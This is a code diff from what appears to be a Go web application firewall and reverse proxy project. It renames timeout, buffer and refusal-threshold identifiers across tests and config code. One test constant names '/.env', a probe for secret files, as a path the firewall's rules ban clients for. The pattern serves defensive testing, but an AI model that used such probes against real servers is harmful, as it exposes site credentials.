endpointParams := params(remotelog.SchemeTLS, endpoint.Addr())
|
||||
endpointParams.RootCAs = roots
|
||||
endpointParams.BufferLines = 3
|
||||
endpointParams.Buffer = 3
|
||||
sender, _, _ := run(t, endpointParams)
|
||||
|
||||
// The sender connects, and its TLS handshake waits for an answer
|
||||
@@ -402,10 +402,10 @@ func (o *output) text() string {
|
||||
// appName.
|
||||
func params(scheme string, addr net.Addr) remotelog.Params {
|
||||
return remotelog.Params{
|
||||
URL: &url.URL{Scheme: scheme, Host: addr.String()},
|
||||
BufferLines: 10,
|
||||
Facility: local0,
|
||||
AppName: appName,
|
||||
URL: &url.URL{Scheme: scheme, Host: addr.String()},
|
||||
Buffer: 10,
|
||||
Facility: local0,
|
||||
AppName: appName,
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -44,13 +44,13 @@ const (
|
||||
|
||||
// The settings the tests set.
|
||||
const (
|
||||
wafBackendTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
|
||||
noAnswerSetting = "SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION"
|
||||
trustedProxies = "SWW_RPROXY_TRUSTED_PROXIES"
|
||||
maxRequestSize = "SWW_RPROXY_MAX_REQUEST_SIZE"
|
||||
maxResponseSize = "SWW_RPROXY_MAX_RESPONSE_SIZE"
|
||||
maxRequestTime = "SWW_RPROXY_MAX_REQUEST_TIME_MS"
|
||||
maxResponseTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS"
|
||||
timeoutSetting = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
|
||||
noAnswerSetting = "SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION"
|
||||
trustedProxies = "SWW_RPROXY_TRUSTED_PROXIES"
|
||||
maxRequestSize = "SWW_RPROXY_MAX_REQUEST_SIZE"
|
||||
maxResponseSize = "SWW_RPROXY_MAX_RESPONSE_SIZE"
|
||||
maxRequestTime = "SWW_RPROXY_MAX_REQUEST_TIME_MS"
|
||||
maxResponseTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS"
|
||||
)
|
||||
|
||||
// The headers the tests set and look at.
|
||||
@@ -1111,7 +1111,7 @@ func TestAnAnswerOf1MiBGoesToTheVisitor(t *testing.T) {
|
||||
_, _ = w.Write(make([]byte, size))
|
||||
})
|
||||
addr, _ := startRProxy(t, standIn.URL, nowhere, map[string]string{
|
||||
wafBackendTimeout: "60000",
|
||||
timeoutSetting: "60000",
|
||||
})
|
||||
|
||||
got := get(t, addr, "/")
|
||||
@@ -1216,8 +1216,8 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
|
||||
backend(t),
|
||||
app.URL,
|
||||
map[string]string{
|
||||
wafBackendTimeout: "60000",
|
||||
noAnswerSetting: setting,
|
||||
timeoutSetting: "60000",
|
||||
noAnswerSetting: setting,
|
||||
},
|
||||
)
|
||||
|
||||
@@ -1245,7 +1245,7 @@ func TestAnAnswerThatCannotBePassedOnGetsNoReport(t *testing.T) {
|
||||
|
||||
standIn := startWAF(t, overOneMiB(dispositionDeny))
|
||||
addr, out := startRProxy(t, standIn.URL, nowhere, map[string]string{
|
||||
wafBackendTimeout: "60000",
|
||||
timeoutSetting: "60000",
|
||||
})
|
||||
|
||||
if got := get(t, addr, "/"); got.status != http.StatusBadGateway {
|
||||
@@ -1271,7 +1271,7 @@ func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides(
|
||||
backend(t),
|
||||
app.URL,
|
||||
map[string]string{
|
||||
wafBackendTimeout: "200",
|
||||
timeoutSetting: "200",
|
||||
},
|
||||
)
|
||||
|
||||
@@ -1298,8 +1298,8 @@ func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides(
|
||||
backend(t),
|
||||
app.URL,
|
||||
map[string]string{
|
||||
wafBackendTimeout: "200",
|
||||
noAnswerSetting: dispositionDeny,
|
||||
timeoutSetting: "200",
|
||||
noAnswerSetting: dispositionDeny,
|
||||
},
|
||||
)
|
||||
|
||||
@@ -1341,8 +1341,8 @@ func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDisposition(t *testing.T) {
|
||||
standIn.URL,
|
||||
app.URL,
|
||||
map[string]string{
|
||||
wafBackendTimeout: "60000",
|
||||
noAnswerSetting: disposition,
|
||||
timeoutSetting: "60000",
|
||||
noAnswerSetting: disposition,
|
||||
},
|
||||
)
|
||||
|
||||
@@ -1387,7 +1387,7 @@ func TestSendsNoReportWithoutAnAnswer(t *testing.T) {
|
||||
})
|
||||
app := startApp(t, greet)
|
||||
addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||
wafBackendTimeout: "200",
|
||||
timeoutSetting: "200",
|
||||
})
|
||||
|
||||
wantGreeting(t, get(t, addr, "/"))
|
||||
@@ -1451,7 +1451,7 @@ func TestTheVisitorDoesNotWaitForTheReport(t *testing.T) {
|
||||
|
||||
app := startApp(t, greet)
|
||||
addr, _ := startRProxy(t, backend, app.URL, map[string]string{
|
||||
wafBackendTimeout: "60000",
|
||||
timeoutSetting: "60000",
|
||||
})
|
||||
|
||||
t.Cleanup(func() { close(release) })
|
||||
@@ -1494,7 +1494,7 @@ func TestAReportWAFLeavesUnansweredIsDroppedAtTheTimeLimit(t *testing.T) {
|
||||
// The time limit is long enough for a loaded host to answer the question before
|
||||
// it runs out.
|
||||
addr, out := startRProxy(t, backend, app.URL, map[string]string{
|
||||
wafBackendTimeout: "3000",
|
||||
timeoutSetting: "3000",
|
||||
})
|
||||
|
||||
t.Cleanup(func() { close(release) })
|
||||
@@ -1524,7 +1524,7 @@ func TestAReportAnswered101IsDroppedAtOnce(t *testing.T) {
|
||||
backend := startWAFAnsweringReports(t, allow, switchAndHold)
|
||||
app := startApp(t, greet)
|
||||
addr, out := startRProxy(t, backend, app.URL, map[string]string{
|
||||
wafBackendTimeout: "60000",
|
||||
timeoutSetting: "60000",
|
||||
})
|
||||
|
||||
wantGreeting(t, get(t, addr, "/"))
|
||||
@@ -1612,7 +1612,7 @@ func TestWaitForReportsWaitsForAReportBeingSent(t *testing.T) {
|
||||
backend.URL,
|
||||
app.URL,
|
||||
map[string]string{
|
||||
wafBackendTimeout: "5000",
|
||||
timeoutSetting: "5000",
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
@@ -31,8 +31,8 @@ const (
|
||||
rproxyListenAddr = "SWW_RPROXY_LISTEN_ADDR"
|
||||
// rproxyUpstreamURL is the setting that says where the app is.
|
||||
rproxyUpstreamURL = "SWW_RPROXY_UPSTREAM_URL"
|
||||
// wafBackendTimeout is the setting that says how long rproxy waits for waf.
|
||||
wafBackendTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
|
||||
// rproxyTimeout is the setting that says how long rproxy waits for waf.
|
||||
rproxyTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
|
||||
// bannedProbe is a path the default rule file bans a client for.
|
||||
bannedProbe = "/.env"
|
||||
// otherClient is a client the tests do not ban.
|
||||
@@ -692,7 +692,7 @@ func TestRProxyStoppingWaitsForAReportBeingSent(t *testing.T) {
|
||||
env := map[string]string{
|
||||
rproxyListenAddr: localhost + ":0",
|
||||
"SWW_RPROXY_UPSTREAM_URL": startApp(t),
|
||||
wafBackendTimeout: "60000",
|
||||
rproxyTimeout: "60000",
|
||||
wafBackend: backend.URL,
|
||||
}
|
||||
out := &output{}
|
||||
@@ -856,8 +856,8 @@ func TestRProxyInvalidSettingStopsTheStart(t *testing.T) {
|
||||
}{
|
||||
{"no backend", wafBackend, nil},
|
||||
{
|
||||
"another invalid", wafBackendTimeout,
|
||||
map[string]string{wafBackend: "http://waf:8080", wafBackendTimeout: "soon"},
|
||||
"another invalid", rproxyTimeout,
|
||||
map[string]string{wafBackend: "http://waf:8080", rproxyTimeout: "soon"},
|
||||
},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
|
||||
+5
-5
@@ -340,11 +340,11 @@ func newAlertQueue(
|
||||
// SWW_WAF_LOG_REMOTE_URL, with the settings for it.
|
||||
func newRemoteLogSender(cfg *config.WAF) *remotelog.Sender {
|
||||
return remotelog.New(remotelog.Params{
|
||||
URL: cfg.LogRemoteURL,
|
||||
RootCAs: cfg.LogRemoteTLSCAs,
|
||||
BufferLines: cfg.LogRemoteBufferLines,
|
||||
Facility: cfg.LogRemoteFacility,
|
||||
AppName: cfg.LogRemoteAppName,
|
||||
URL: cfg.LogRemoteURL,
|
||||
RootCAs: cfg.LogRemoteTLSCAs,
|
||||
Buffer: cfg.LogRemoteBufferLines,
|
||||
Facility: cfg.LogRemoteFacility,
|
||||
AppName: cfg.LogRemoteAppName,
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
@@ -66,7 +66,7 @@ func stopHeldSender(t *testing.T, release time.Duration) time.Duration {
|
||||
Scheme: remotelog.SchemeTCP,
|
||||
Host: "127.0.0.1:65536",
|
||||
},
|
||||
BufferLines: 1,
|
||||
Buffer: 1,
|
||||
})
|
||||
|
||||
stopSending := startSending(t.Context(), sender,
|
||||
|
||||
@@ -656,9 +656,8 @@ func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// In a synctest bubble, as
|
||||
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says,
|
||||
// so that a request that does not wait takes no time at all.
|
||||
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
|
||||
// says, so that a request that does not wait takes no time at all.
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
server, out := newWAFInBubble(t, tc.env)
|
||||
tc.prepare(t, server, time.Now())
|
||||
@@ -781,8 +780,7 @@ func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
|
||||
// network inside it would keep its clock from moving on.
|
||||
go server.Lists.Run(t.Context())
|
||||
|
||||
// In the bubble, as
|
||||
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says, the
|
||||
// In the bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays says, the
|
||||
// answer takes exactly as long as waf waits, however busy the host is.
|
||||
// GeoJS and AbuseIPDB never answer there, without the network. The query to
|
||||
// the DNS blocklist waits on the network, which stops the bubble's clock,
|
||||
|
||||
@@ -335,9 +335,8 @@ func TestClientWithoutAnAnswerInTimeHasTheUnknownCountryLimitPercent(
|
||||
) {
|
||||
t.Parallel()
|
||||
|
||||
// In a synctest bubble, as
|
||||
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says, with
|
||||
// a GeoJS that never answers.
|
||||
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
|
||||
// says, with a GeoJS that never answers.
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
server, out, _ := newWAF(t, silentGeoJSURL, time.Now,
|
||||
map[string]string{unknownCountryLimitPercent: "0"})
|
||||
@@ -385,9 +384,8 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
|
||||
t.Run(tc.setting+"="+tc.value, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// In a synctest bubble, as
|
||||
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says,
|
||||
// with a GeoJS that never answers.
|
||||
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
|
||||
// says, with a GeoJS that never answers.
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
server, out, _ := newWAF(t, silentGeoJSURL, time.Now,
|
||||
map[string]string{
|
||||
|
||||
@@ -438,9 +438,7 @@ func TestClientsOwnLookupHeadersAreRemovedWhileTheSettingIsOff(
|
||||
}
|
||||
}
|
||||
|
||||
func TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays(
|
||||
t *testing.T,
|
||||
) {
|
||||
func TestRequestWaitsAsLongAsTheLookupTimeoutSays(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// The test runs in a synctest bubble, where the time package runs on a
|
||||
|
||||
@@ -16,7 +16,7 @@ import (
|
||||
// in observe mode if enforce mode would have: more than
|
||||
// SWW_WAF_REFUSALS_LIMIT_PER_MINUTE such refusals of the client within a minute break
|
||||
// a limit, which bans the client. A client in SWW_WAF_ALLOW_NETS, which the
|
||||
// heuristics skip, is not counted, and nothing is while the limit is off.
|
||||
// heuristics skip, is not counted, and nothing is while the threshold is off.
|
||||
// Its figures are the window, the count and the limit.
|
||||
type refusalLimit struct{}
|
||||
|
||||
|
||||
@@ -49,14 +49,14 @@ func (r refused) send(s *sender, from string) logLine {
|
||||
}
|
||||
|
||||
// startForRefusalLimit is startWithClock with testRules, the metrics token and
|
||||
// SWW_WAF_REFUSALS_LIMIT_PER_MINUTE at limit, and the settings in env.
|
||||
// SWW_WAF_REFUSALS_LIMIT_PER_MINUTE at threshold, and the settings in env.
|
||||
func startForRefusalLimit(
|
||||
t *testing.T, limit string, env map[string]string,
|
||||
t *testing.T, threshold string, env map[string]string,
|
||||
) (*sender, *clock, *waf.Server) {
|
||||
t.Helper()
|
||||
|
||||
settings := map[string]string{
|
||||
refusalsLimitPerMinute: limit,
|
||||
refusalsLimitPerMinute: threshold,
|
||||
ruleFilesDir: writeRules(t, testRules),
|
||||
metricsToken: token,
|
||||
}
|
||||
@@ -65,12 +65,12 @@ func startForRefusalLimit(
|
||||
return startWithClock(t, "", settings)
|
||||
}
|
||||
|
||||
func TestRefusalLimitBreaksAtOneOverTheLimit(t *testing.T) {
|
||||
func TestRefusalLimitBreaksAtOneOverTheThreshold(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, tc := range []struct {
|
||||
name string
|
||||
// refusals are four, one over the limit of three.
|
||||
// refusals are four, one over the threshold of three.
|
||||
refusals []refused
|
||||
// nextAction is the action of the client's next request: the next
|
||||
// request after a ban for a ban rule makes it permanent.
|
||||
@@ -232,7 +232,7 @@ func TestRefusalLimitIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
|
||||
tagLimitPercent: countryTagDEHalf,
|
||||
})
|
||||
|
||||
// Half of the limit would be one, which the second refusal is over.
|
||||
// Half of the threshold would be one, which the second refusal is over.
|
||||
for range 2 {
|
||||
line := blockRule.send(s, fromDE)
|
||||
if line.LimitHit != "" {
|
||||
@@ -277,7 +277,7 @@ func TestRefusalLimitDoesNotCountTheAppsAnswers(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// The first refusal is one, not over the limit.
|
||||
// The first refusal is one, not over the threshold.
|
||||
line := blockRule.send(s, client)
|
||||
if line.LimitHit != "" {
|
||||
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
|
||||
@@ -297,19 +297,19 @@ func TestRefusalLimitOffOrAtItsDefault(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, tc := range []struct {
|
||||
limit string
|
||||
threshold string
|
||||
// broken is whether the 31st refusal breaks the refusal limit.
|
||||
broken bool
|
||||
}{
|
||||
{"", true},
|
||||
{off, false},
|
||||
} {
|
||||
t.Run(refusalsLimitPerMinute+"="+tc.limit, func(t *testing.T) {
|
||||
t.Run(refusalsLimitPerMinute+"="+tc.threshold, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
env := map[string]string{ruleFilesDir: writeRules(t, testRules)}
|
||||
if tc.limit != "" {
|
||||
env[refusalsLimitPerMinute] = tc.limit
|
||||
if tc.threshold != "" {
|
||||
env[refusalsLimitPerMinute] = tc.threshold
|
||||
}
|
||||
|
||||
s, _, _ := startWithClock(t, "", env)
|
||||
|
||||
Reference in new issue
Block a user